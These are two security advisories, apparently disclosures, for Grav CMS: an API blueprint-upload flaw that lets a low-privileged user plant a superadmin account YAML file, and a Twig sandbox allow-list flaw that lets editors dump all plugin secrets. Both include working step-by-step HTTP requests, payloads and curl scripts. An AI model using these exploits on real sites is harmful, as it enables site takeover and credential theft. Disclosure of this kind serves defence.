Summary
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
- user/plugins/api/classes/Api/ApiRouter.php:261 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417 - user/plugins/api/classes/Api/Controllers/AuthController.php:41-55
The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
- destination=self@: - scope=users/anything
The server resolves the write target to the shared account directory:
text user/accounts/
The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
yaml access: api: access: true media: write: true
PoC
Step 1: Authenticate as the low-privileged API user
http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close
{"username":"uploader","password":"Upload123A"}
Extract:
text UPLOADERTOKEN = <accesstoken from response>
Attachment:
<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />
Step 2: Upload a malicious account YAML file
http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADERTOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close
------CodexBoundaryF01 Content-Disposition: form-data; name="destination"
self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope"
users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml
email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01--
Expected result:
json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] }
Attachment:
<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />
Step 3: Log in as the newly created account
http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close
{"username":"pwned","password":"Passw0rd!123"}
Expected result:
json { "data": { "user": { "username": "pwned", "superadmin": true } } }
Attachment:
<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />
Step 4: Verify privileged API access
http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNEDTOKEN> Connection: close
Expected result:
The request succeeds and returns system-level information.
Attachment:
<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />
Impact
This is an authenticated vertical privilege-escalation vulnerability.
Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:
- modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features
In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.
This issue was reproduced locally:
- the upload response returned user/accounts/pwned.yaml - logging in as pwned succeeded - the new account had superadmin = true - privileged endpoints such as /api/v1/system/info were accessible
Summary
The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.
Details
The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:
yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'
The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):
php $twigvars = [..., 'config' => $config, ...]
Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:
{{ config.toArray()|jsonencode|raw }}
When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.
PoC
bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')
Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null
Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)
Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null
Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'
Impact
Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.